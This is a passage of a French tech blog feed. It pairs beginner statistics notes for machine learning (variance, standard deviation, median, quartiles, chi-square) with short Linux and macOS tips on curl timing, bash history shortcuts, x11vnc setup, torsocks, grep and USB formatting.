Pendant mes vacances, j&rsquo;ai eu le temps de réfléchir sur ce que je voulais faire et j&rsquo;ai eu une révélation. Je veux faire du Machine Learning !</p>
<p>C&rsquo;est une discipline que je ne connais pas du tout et qui a l&rsquo;air vraiment cool.
Le sujet a l&rsquo;air extrèmement vague et je ne sais pas vraiment par où commencer.</p>
<p>J&rsquo;ai commencé par revoir quelques bases en statistique; même si je ne suis pas certain que cette discipline soit le même. J&rsquo;ai vu qu&rsquo;il y avait un cours sur Coursera pour sur le sujet. C&rsquo;est un cours de 9 semaines. Je pense que je vais le suivre.</p>
<p>Peut-être que vous aussi vous avez <del>bouffé</del> mangé des maths pendant vos études mais que vous n&rsquo;avez pas pratiqué depuis longtemps et donc que des rappels ne feront pas de mal.</p>
<br/>
<h1 id="rappels-de-stats">Rappels de stats</h1>
<h2 id="espérance">Espérance</h2>
<p>Lorsqu&rsquo;on a des données statistiques, l&rsquo;espérance correspond à la moyenne de ces données.</p>
<br/>
<h2 id="caractéristiques-de-dispersion">Caractéristiques de dispersion</h2>
<p>La variance et l’écart type permettent de mesurer la « dispersion » des valeurs de la série autour de l&rsquo;espérance (ou de la moyenne).
Si les valeurs de la série possèdent une unité, l’écart type s’exprime dans la même unité.</p>
<br/>
<h3 id="variance">Variance</h3>
<p>Pour quantifier la dispersion d&rsquo;une série par rapport à sa moyenne, il semble naturel de calculer la moyenne des différences (ou des écarts) entre les valeurs observées et la moyenne, mais avec le risque d&rsquo;obtenir des nombres négatifs qui, ajoutés à des nombres positifs, s&rsquo;annulent. C&rsquo;est pourquoi on a choisi de calculer la « moyenne des carrés des écarts à la moyenne ».
Telle est la définition de la variance V d&rsquo;une série statistique.</p>
<p>Calcul de la variance (2 options):
<img src="/images/variance-formule1.png" alt="image">
<img src="/images/variance-formule2.png" alt="image"></p>
<br/>
<h3 id="écart-type">Écart-type</h3>
<p>L’écart-type est un indicateur de dispersion. Il nous informe sur la manière dont les individus se répartissent autour de la moyenne. Sont-ils tous à peu près identiques, concentrés autour de la moyenne ? Au contraire, sont-ils dispersés entre des valeurs très basses et des valeurs très hautes ?</p>
<p>L’écart-type est l’écart moyen à la moyenne pour tous les individus. Si celui-ci est faible, les individus formulent des réponses similaires, si celui-ci est fort les variations sont fortes dans la population étudiée. Le niveau qui permet de repérer un fort écart-type est 1/2 moyenne. Si l’écart-type est supérieur à 0,5 moyenne, on peut donc considérer que les variations sont fortes.</p>
<p>Pour illustrer nos propos, prenons un exemple simple. 21 étudiants reçoivent une note sur 20 en statistique, les voici :</p>
<pre tabindex="0"><code>1 - 3 - 3 - 4 - 4 - 6 - 7 - 8 - 9 - 9 - 9 - 9 - 9 - 10 - 10 - 15 - 17 - 18 - 19 - 20 - 20
</code></pre><p>Moyenne = 10 (210/21)
Ecart-type = 5,93.</p>
<p>Dans ce cas, la dispersion est forte puisque l’écart-type est supérieur à 5 (1/2 moyenne).</p>
<p>Formule de calcul:</p>
<p><img src="/images/Ecart-type.png" alt="image"></p>
<ul>
<li>avec μ est la moyenne arithmétique de la série</li>
<li>n est l&rsquo;effectif total de la série</li>
</ul>
<p>Autre formule de calcul:</p>
<p><img src="/images/ecart-type-formule.png" alt="image"></p>
<p>C&rsquo;est un paramètre particulièrement utilisé dans le cas de données dites gaussiennes.</p>
<br/>
<h2 id="données-gaussiennes">Données Gaussiennes</h2>
<p>Les données gaussiennes se caractérisent par une répartition en forme de cloche.
Elles ont l&rsquo;allure suivante:</p>
<p><img src="/images/gaussienne.png" alt="image"></p>
<blockquote>
<p>Dans le cas de données gaussiennes, la médiane et la moyenne sont confondues. La médiane est, de plus, le milieu de l&rsquo;intervalle interquartile ; ainsi, le corps du diagramme qui représente les données est symétrique par rapport à la médiane.</p></blockquote>
<br/>
<h2 id="médiane">Médiane</h2>
<p>Définition:
L’idée générale est que la médiane est une valeur du caractère qui partage la population en deux parties de même effectif.
De façon plus précise, on appelle médiane d’une série statistique discrète toute valeur M du caractère telle qu’au moins 50%
des individus aient une valeur du caractère inférieure ou égale à M et au moins 50% des individus aient une valeur du caractère
supérieure ou égale à M</p>
<p>Recherche pratique de la médiane:
On range les valeurs du caractère une par une dans l’ordre croissant (chaque valeur du caractère doit apparaître un nombre de fois
égal à l’effectif correspondant).
Si l’effectif total est impair, la médiane M est la valeur du caractère située au milieu.
Si l’effectif total est pair, la médiane M est la demi-somme des 2 valeurs situées au milieu.</p>
<p>Example 1:
Liste des valeurs du caractère :</p>
<pre tabindex="0"><code>7 ; 7 ; 8 ; 9; 10 ; 11 ; 11 ; 14 ; 16 ; 16
</code></pre><p>L’effectif total est pair : la médiane M est la demi-somme des 2 valeurs situées au milieu. D’où, M = (10 + 11) / 2 = 10,5</p>
<p>Example 2:</p>
<pre tabindex="0"><code>6 ; 6 ; 6 ; 8; 9 ; 9 ; 12 ; 13 ; 13 ; 13 ; 17 ; 17; 17
</code></pre><p>L’effectif total est impair : la médiane M est la valeur située au milieu. D’où, M = 12.</p>
<br/>
<h2 id="paramètres-de-dispersion">Paramètres de dispersion</h2>
<p><em>Définition:</em>
Ces paramètres permettent de mesurer la façon dont les valeurs du caractère sont réparties autour de la moyenne et de la médiane.</p>
<p><em>Paramètre de dispersion associé à la médiane:</em>
L’idée générale est de partager la population en quatre parties de même effectif.</p>
<p>Etant donné une série statistique de médiane M dont la liste des valeurs est rangée dans l’ordre croissant
En coupant la liste en deux sous-séries de même effectif (Attention : quand l’effectif total est impair, la médiane ne doit pas être
incluse dans les sous-séries) :</p>
<ul>
<li>On appelle premier quartile le réel noté Q1 égal à la médiane de la sous-série inférieure.</li>
<li>On appelle troisième quartile le réel noté Q3 égal à la médiane de la sous-série supérieure.</li>
<li>L’écart interquartile est égal à Q3 - Q1.</li>
<li>] Q1 ; Q3 [  est appelé intervalle interquartile.</li>
</ul>
<p><em>Diagramme en boîtes:</em>
Le diagramme en boîtes d’une série statistique se construit alors de la façon suivante :
(les valeurs du caractère sont en abscisse - min et max représentent les valeurs minimales et maximales du caractère)</p>
<p><img src="/images/Diagramme-en-boite.png" alt="image"></p>
<p>Interprétation:</p>
<ul>
<li>25% de la population admet une valeur du caractère entre min et Q1</li>
<li>25% de la population admet une valeur du caractère entre Q1 et M</li>
<li>25% de la population admet une valeur du caractère entre M et Q3</li>
<li>25% de la population admet une valeur du caractère entre Q3 et max</li>
</ul>
<br/>
<h2 id="test-du-χ">Test du χ²</h2>
<p>Le test de Chi-deux est utilisé pour tester l&rsquo;hypothèse nulle d&rsquo;absence de relation entre deux variables catégorielles. On peut également dire que ce test vérifie l&rsquo;hypothèse d&rsquo;indépendance de ces variables.</p>
<blockquote>
<p>En statistique, le test du χ² de Pearson ou test du χ² d&rsquo;indépendance est un test statistique qui s&rsquo;applique sur des ensembles de données catégorielles pour évaluer la probabilité qu&rsquo;une différence observée entre les ensembles soit due au hasard. Il convient aux données non-appariées prises sur de grands échantillons (n&gt;30).
Il est le test du χ² le plus communément utilisé.</p></blockquote>
<br/>
<h2 id="population-et-individus">Population et individus</h2>
<p>La population est l’ensemble des individus (ou unités statistiques) auxquels on décide de sintériser. Sa taille, habituellement désignée par N, est grande, ou même infinie. Le choix de la population étudiée dépend du problème qui est à l’origine de la démarche statistique, et de la façon dont on décide de le traiter.</p>
<br/>
<h2 id="effectif">Effectif</h2>
<p>Nombre d’individus, d’une population ou d’une partie quelconque de cette population.</p>
<br/>
<h2 id="représentations-géométriques-des-distributions">Représentations géométriques des distributions</h2>
<ul>
<li>Pour une variable qualitative : diagramme circulaire (&ldquo;camembert&rdquo;).</li>
<li>Pour une variable ordinale ou quantitative discrète : diagramme ou graphique en bâtons.</li>
<li>Pour une variable ordinale ou quantitative continue : histogramme et courbe des fréquences cumulées.</li>
<li>Pour deux variables quantitatives ou ordinales : nuage de points.</li>
</ul>
<br/>
<h2 id="distribution-multimodale">Distribution Multimodale</h2>
<p>Il s&rsquo;agit d&rsquo;une distribution qui possède plusieurs modes (donc au moins deux &ldquo;pics&rdquo;).</p>
<p><img src="/images/multimodale.png" alt="image"></p>
<p>La multimodalité d&rsquo;une distribution dans un échantillon indique généralement que la distribution de la variable dans la population n&rsquo;est pas normale. La multimodalité d&rsquo;une distribution peut fournir une information importante quant à la nature de la variable étudiée (c&rsquo;est-à-dire la qualité mesurée). Par exemple, si la variable en question représente une préférence ou une attitude déclarée, la multimodalité peut indiquer qu&rsquo;il existe plusieurs points de vue ou structures de réponse dans le questionnaire. Toutefois, dans la plupart des cas, la multimodalité indique que l&rsquo;échantillon n&rsquo;est pas homogène et que les observations proviennent de deux distributions (ou davantage) qui se &ldquo;chevauchent&rdquo;. Parfois, la multimodalité d&rsquo;une distribution peut révéler des problèmes au niveau de l&rsquo;instrument de mesure (par exemple, des &ldquo;problèmes de calibration de l&rsquo;appareil&rdquo; en sciences naturelles ou un &ldquo;biais dans les réponses&rdquo; en sciences sociales).</p>
]]></content>
        </item>
        
        <item>
            <title>Mesurer le temps de réponse d&#39;un curl</title>
            <link>https://leandeep.com/mesurer-le-temps-de-r%C3%A9ponse-dun-curl/</link>
            <pubDate>Fri, 02 Jan 2015 10:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mesurer-le-temps-de-r%C3%A9ponse-dun-curl/</guid>
            <description>&lt;p&gt;Petit tip de 2 seconds montrant comment afficher le temps de réponse d&amp;rsquo;une request via &lt;code&gt;CURL&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -X &amp;#39;GET&amp;#39; \
  &amp;#39;https://...&amp;#39; \
  -H &amp;#39;accept: application/json&amp;#39; \
  -s -o /dev/null -w &amp;#34;\n\n--&amp;gt; %{time_starttransfer} seconds\n&amp;#34;
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip de 2 seconds montrant comment afficher le temps de réponse d&rsquo;une request via <code>CURL</code></p>
<pre tabindex="0"><code>curl -X &#39;GET&#39; \
  &#39;https://...&#39; \
  -H &#39;accept: application/json&#39; \
  -s -o /dev/null -w &#34;\n\n--&gt; %{time_starttransfer} seconds\n&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Réutiliser le N-ième mot de la dernière commande</title>
            <link>https://leandeep.com/r%C3%A9utiliser-le-n-i%C3%A8me-mot-de-la-derni%C3%A8re-commande/</link>
            <pubDate>Wed, 05 Nov 2014 20:33:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9utiliser-le-n-i%C3%A8me-mot-de-la-derni%C3%A8re-commande/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Historique Shell:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous voulez réutiliser un mot particulier de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!!:N
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ du -h ~/Dev
...

$ cd !!:2
$ cd ~/Dev
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il est également possible de désigner la dernière commande commencée par un string. (Comme abordé en dernière partie de &lt;a href=&#34;http://leandeep.com/executer-la-derniere-commande-en-tant-que-root/&#34;&gt;ce tip&lt;/a&gt;.)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ cd !d:2 
$ cd ~/Dev
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Historique Shell:</strong></p>
<p>Si vous voulez réutiliser un mot particulier de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:</p>
<pre tabindex="0"><code>!!:N
</code></pre><p>Exemple:</p>
<pre tabindex="0"><code>$ du -h ~/Dev
...

$ cd !!:2
$ cd ~/Dev
</code></pre><p>Il est également possible de désigner la dernière commande commencée par un string. (Comme abordé en dernière partie de <a href="http://leandeep.com/executer-la-derniere-commande-en-tant-que-root/">ce tip</a>.)</p>
<pre tabindex="0"><code>$ cd !d:2 
$ cd ~/Dev
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer un VNC Server sur Linux</title>
            <link>https://leandeep.com/installer-un-vnc-server-sur-linux/</link>
            <pubDate>Sun, 27 Jul 2014 23:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-vnc-server-sur-linux/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment installer un serveur VNC sur Linux.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;steps&#34;&gt;Steps&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Désinstaller le serveur Vino (souvent présent par défaut)&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get -y remove vino
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer x11vnc&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get -y install x11vnc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Créer le mot de passe encrypté&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;x11vnc -storepasswd &amp;#34;votre_mot_de_passe&amp;#34; ~/.vnc_passwd
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Créer un service x11vnc dans systemd&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo vim /lib/systemd/system/x11vnc.service
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Et copier/coller le code suivant à l&amp;rsquo;intérieur du nouveau fichier:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[Unit]
Description=x11vnc remote desktop server
After=multi-user.target

[Service]
Type=simple
ExecStart=/usr/bin/x11vnc -auth guess -forever -loop -noxdamage -repeat -rfbauth /home/olivier/.vnc/passwd -rfbport 5900 -shared

Restart=on-failure

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Reloader les services&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment installer un serveur VNC sur Linux.</p>
<br/>
<h2 id="steps">Steps</h2>
<p><strong>Désinstaller le serveur Vino (souvent présent par défaut)</strong></p>
<pre tabindex="0"><code>sudo apt-get -y remove vino
</code></pre><br/>
<p><strong>Installer x11vnc</strong></p>
<pre tabindex="0"><code>sudo apt-get -y install x11vnc
</code></pre><br/>
<p><strong>Créer le mot de passe encrypté</strong></p>
<pre tabindex="0"><code>x11vnc -storepasswd &#34;votre_mot_de_passe&#34; ~/.vnc_passwd
</code></pre><br/>
<p><strong>Créer un service x11vnc dans systemd</strong></p>
<pre tabindex="0"><code>sudo vim /lib/systemd/system/x11vnc.service
</code></pre><br/>
<p>Et copier/coller le code suivant à l&rsquo;intérieur du nouveau fichier:</p>
<pre tabindex="0"><code>[Unit]
Description=x11vnc remote desktop server
After=multi-user.target

[Service]
Type=simple
ExecStart=/usr/bin/x11vnc -auth guess -forever -loop -noxdamage -repeat -rfbauth /home/olivier/.vnc/passwd -rfbport 5900 -shared

Restart=on-failure

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<p><strong>Reloader les services</strong></p>
<pre tabindex="0"><code>sudo systemctl daemon-reload
</code></pre><br/>
<p><strong>Activer le service x11vnc au boot</strong></p>
<pre tabindex="0"><code>sudo systemctl enable x11vnc.service
</code></pre><br/>
<p><strong>Démarrer le service (ou reboot)</strong></p>
<pre tabindex="0"><code>sudo systemctl start x11vnc.service
</code></pre><br/>
<p>Rebooter puis vérifier que vous pouvez établir une connection VNC sur le port 5900.</p>
<br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p>Si vous rencontez l&rsquo;erreur suivante:</p>
<pre tabindex="0"><code>xauth:  unable to generate an authority file name
</code></pre><br/>
<p>Utiliser le bureau lightgdm:</p>
<pre tabindex="0"><code>cat /etc/X11/default-display-manager 
sudo apt install ubuntu-unity-desktop
# Si ubuntu-unity-desktop est déjà installé
# sudo dpkg-reconfigure gdm3 
</code></pre><br/>
<p>Selectionner donc le bureau lightgdm puis rebooter pour vérifier que cela fonctionne.</p>
<p>Pour vérifier que le serveur VNC est bien démarré:</p>
<pre tabindex="0"><code>// make sure 5900 port is listening:
$ netstat -antp | grep 5900
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::5900                 :::*                    LISTEN      -
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Exécuter des commandes et des scripts en passant par Tor</title>
            <link>https://leandeep.com/ex%C3%A9cuter-des-commandes-et-des-scripts-en-passant-par-tor/</link>
            <pubDate>Thu, 17 Jul 2014 19:54:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ex%C3%A9cuter-des-commandes-et-des-scripts-en-passant-par-tor/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Parfois il peut être utile d&amp;rsquo;obtenir une adresse IP différente de la sienne pour tester son travail dans un autre pays.&lt;/p&gt;
&lt;p&gt;Pour exécuter une commande et passer par Tor, il est possible d&amp;rsquo;utiliser cette procédure:&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install tor torsocks
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;exécution&#34;&gt;Exécution&lt;/h2&gt;
&lt;p&gt;Dans un premier onglet de votre terminal lancez tor:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tor
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Dans un second onglet exécutez la commande que vous souhaitez &amp;ldquo;torifier&amp;rdquo;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;torsocks -i wget -qO- http://ipecho.net/plain 2&amp;gt; /dev/null ; echo 
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Si vous relancez la même commande sans passer par tor:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Parfois il peut être utile d&rsquo;obtenir une adresse IP différente de la sienne pour tester son travail dans un autre pays.</p>
<p>Pour exécuter une commande et passer par Tor, il est possible d&rsquo;utiliser cette procédure:</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>brew install tor torsocks
</code></pre><br/>
<h2 id="exécution">Exécution</h2>
<p>Dans un premier onglet de votre terminal lancez tor:</p>
<pre tabindex="0"><code>tor
</code></pre><br/>
<p>Dans un second onglet exécutez la commande que vous souhaitez &ldquo;torifier&rdquo;:</p>
<pre tabindex="0"><code>torsocks -i wget -qO- http://ipecho.net/plain 2&gt; /dev/null ; echo 
</code></pre><br/>
<p>Si vous relancez la même commande sans passer par tor:</p>
<pre tabindex="0"><code>wget -qO- http://ipecho.net/plain ; echo 
</code></pre><br/>
<p>Vous verrez une autre IP. Ce sera en effet celle de votre propre box internet. La première commande est donc bien passée par Tor. Vous pouvez utiliser cette astuce pour à peu près tout. Attention, n&rsquo;utilisez pas cela à des fins malveillantes; vous êtes $$responsables de vos actes.</p>
]]></content>
        </item>
        
        <item>
            <title>Retirer les commentaires et lignes vides</title>
            <link>https://leandeep.com/retirer-les-commentaires-et-lignes-vides/</link>
            <pubDate>Mon, 16 Jun 2014 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/retirer-les-commentaires-et-lignes-vides/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Manipulation de textes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voici une commande permettant de nettoyer un fichier de configuration et retirer les commentaires et lignes vides inutiles.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;grep -E -v &amp;#34;^#|^$&amp;#34; file
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ces commandes utilisent une regex grâce à l&amp;rsquo;option -E de grep.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;^#&amp;rdquo; permet de trouver toutes lignes qui commencent par un &amp;ldquo;#&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&amp;ldquo;^$&amp;rdquo; permet de trouver toutes les lignes vides.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Pour info l&amp;rsquo;option -v permet d&amp;rsquo;inverser la sélection.&lt;/em&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;grep -E -v &amp;#39;^#|^$&amp;#39; nginx.conf | head
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Manipulation de textes</strong></p>
<p>Voici une commande permettant de nettoyer un fichier de configuration et retirer les commentaires et lignes vides inutiles.</p>
<pre tabindex="0"><code>grep -E -v &#34;^#|^$&#34; file
</code></pre><br/>
<p>Ces commandes utilisent une regex grâce à l&rsquo;option -E de grep.</p>
<ul>
<li>&ldquo;^#&rdquo; permet de trouver toutes lignes qui commencent par un &ldquo;#&rdquo;.</li>
<li>&ldquo;^$&rdquo; permet de trouver toutes les lignes vides.</li>
</ul>
<p><em>Pour info l&rsquo;option -v permet d&rsquo;inverser la sélection.</em></p>
<br/>
<p>Exemple:</p>
<pre tabindex="0"><code>grep -E -v &#39;^#|^$&#39; nginx.conf | head
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Exécuter la dernière commande en tant que root</title>
            <link>https://leandeep.com/ex%C3%A9cuter-la-derni%C3%A8re-commande-en-tant-que-root/</link>
            <pubDate>Sun, 15 Jun 2014 22:07:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ex%C3%A9cuter-la-derni%C3%A8re-commande-en-tant-que-root/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Historique Shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous avez oublié d&amp;rsquo;exécuter une commande avec les privilèges root, vous pouvez simplement la répéter en utilisant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ sudo !!
$ su -c &amp;#34;!!&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ adduser bob
-bash: /usr/sbin/adduser: Permission denied 
$ sudo !! 
$ sudo adduser bob
id bob uid=1007(bob) gid=1007(bob) groups=1007(bob)

$ useradd bill
-bash: /usr/sbin/useradd: Permission denied 
$ su -c &amp;#34;!!&amp;#34; 
$ su -c &amp;#34;useradd bill&amp;#34; 
Password: 
id bill uid=1007(bill) gid=1007(bill) groups=1007(bill)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cette syntaxe avec points d&amp;rsquo;exclamation est appelée &lt;em&gt;event designator&lt;/em&gt;. Il désigne une référence dans l&amp;rsquo;historique des commandes shell.
Bang-Bang (!!) répète la commande la plus récente.
Il est également possible de rejouer en mode root la commande la plus récente qui débute avec un string donné.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Historique Shell</strong></p>
<p>Si vous avez oublié d&rsquo;exécuter une commande avec les privilèges root, vous pouvez simplement la répéter en utilisant:</p>
<pre tabindex="0"><code>$ sudo !!
$ su -c &#34;!!&#34;
</code></pre><p>Exemple:</p>
<pre tabindex="0"><code>$ adduser bob
-bash: /usr/sbin/adduser: Permission denied 
$ sudo !! 
$ sudo adduser bob
id bob uid=1007(bob) gid=1007(bob) groups=1007(bob)

$ useradd bill
-bash: /usr/sbin/useradd: Permission denied 
$ su -c &#34;!!&#34; 
$ su -c &#34;useradd bill&#34; 
Password: 
id bill uid=1007(bill) gid=1007(bill) groups=1007(bill)
</code></pre><p>Cette syntaxe avec points d&rsquo;exclamation est appelée <em>event designator</em>. Il désigne une référence dans l&rsquo;historique des commandes shell.
Bang-Bang (!!) répète la commande la plus récente.
Il est également possible de rejouer en mode root la commande la plus récente qui débute avec un string donné.</p>
<p>Exemple:</p>
<pre tabindex="0"><code>$ whoami
olivier

$ uptime
15:19  up 7 days,  5:45, 3 users, load averages: 2.39 2.20 2.27

$ sudo !w
$ sudo whoami
root
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Formater clé usb en fat32 depuis OSX</title>
            <link>https://leandeep.com/formater-cl%C3%A9-usb-en-fat32-depuis-osx/</link>
            <pubDate>Thu, 15 May 2014 19:54:00 +0000</pubDate>
            
            <guid>https://leandeep.com/formater-cl%C3%A9-usb-en-fat32-depuis-osx/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Lister les disques pour récupérer le nom de la clé à formater&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;diskutil list
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démonter la clé à formater&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;diskutil unmountDisk /dev/disk2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Formater la clé au format fat32 et lui donner le nom &amp;ldquo;USB&amp;rdquo;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;diskutil eraseDisk FAT32 USB /dev/disk2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Formater la clé en FAT32 avec l’option de zone d’amorce en MBR pour qu’elle soit lisible sur tous les OS&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;diskutil eraseDisk FAT32 USB MBR /dev/disk2
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Lister les disques pour récupérer le nom de la clé à formater</strong></p>
<pre tabindex="0"><code>diskutil list
</code></pre><br/>
<p><strong>Démonter la clé à formater</strong></p>
<pre tabindex="0"><code>diskutil unmountDisk /dev/disk2
</code></pre><br/>
<p><strong>Formater la clé au format fat32 et lui donner le nom &ldquo;USB&rdquo;</strong></p>
<pre tabindex="0"><code>diskutil eraseDisk FAT32 USB /dev/disk2
</code></pre><br/>
<p><strong>Formater la clé en FAT32 avec l’option de zone d’amorce en MBR pour qu’elle soit lisible sur tous les OS</strong></p>
<pre tabindex="0"><code>diskutil eraseDisk FAT32 USB MBR /dev/disk2
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Réutiliser le dernier argument de la dernière commande</title>
            <link>https://leandeep.com/r%C3%A9utiliser-le-dernier-argument-de-la-derni%C3%A8re-commande/</link>
            <pubDate>Sat, 10 May 2014 21:38:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9utiliser-le-dernier-argument-de-la-derni%C3%A8re-commande/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Historique Shell:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous voulez réutiliser le dernier argument de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ mv server.js backend/ 
$ du -sh !$ 
$ du -sh backend/ 
1.2G  backend/
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie Historique Shell:</strong></p>
<p>Si vous voulez réutiliser le dernier argument de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:</p>
<pre tabindex="0"><code>!$
</code></pre><p>Exemple:</p>
<pre tabindex="0"><code>$ mv server.js backend/ 
$ du -sh !$ 
$ du -sh backend/ 
1.2G  backend/
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Réutiliser le 1er argument de la dernière commande</title>
            <link>https://leandeep.com/r%C3%A9utiliser-le-1er-argument-de-la-derni%C3%A8re-commande/</link>
            <pubDate>Thu, 08 May 2014 15:23:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9utiliser-le-1er-argument-de-la-derni%C3%A8re-commande/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie Historique Shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous voulez réutiliser le premier argument de votre dernière commande pour votre nouvelle commande vous pouvez utiliser cette commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!^
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ host www.google.com 8.8.8.8
Using domain server:
Name: 8.8.8.8
Address: 8.8.8.8#53
Aliases: 

www.google.com has address ...
www.google.com has IPv6 address ...

# Envoyer 1 seul ping
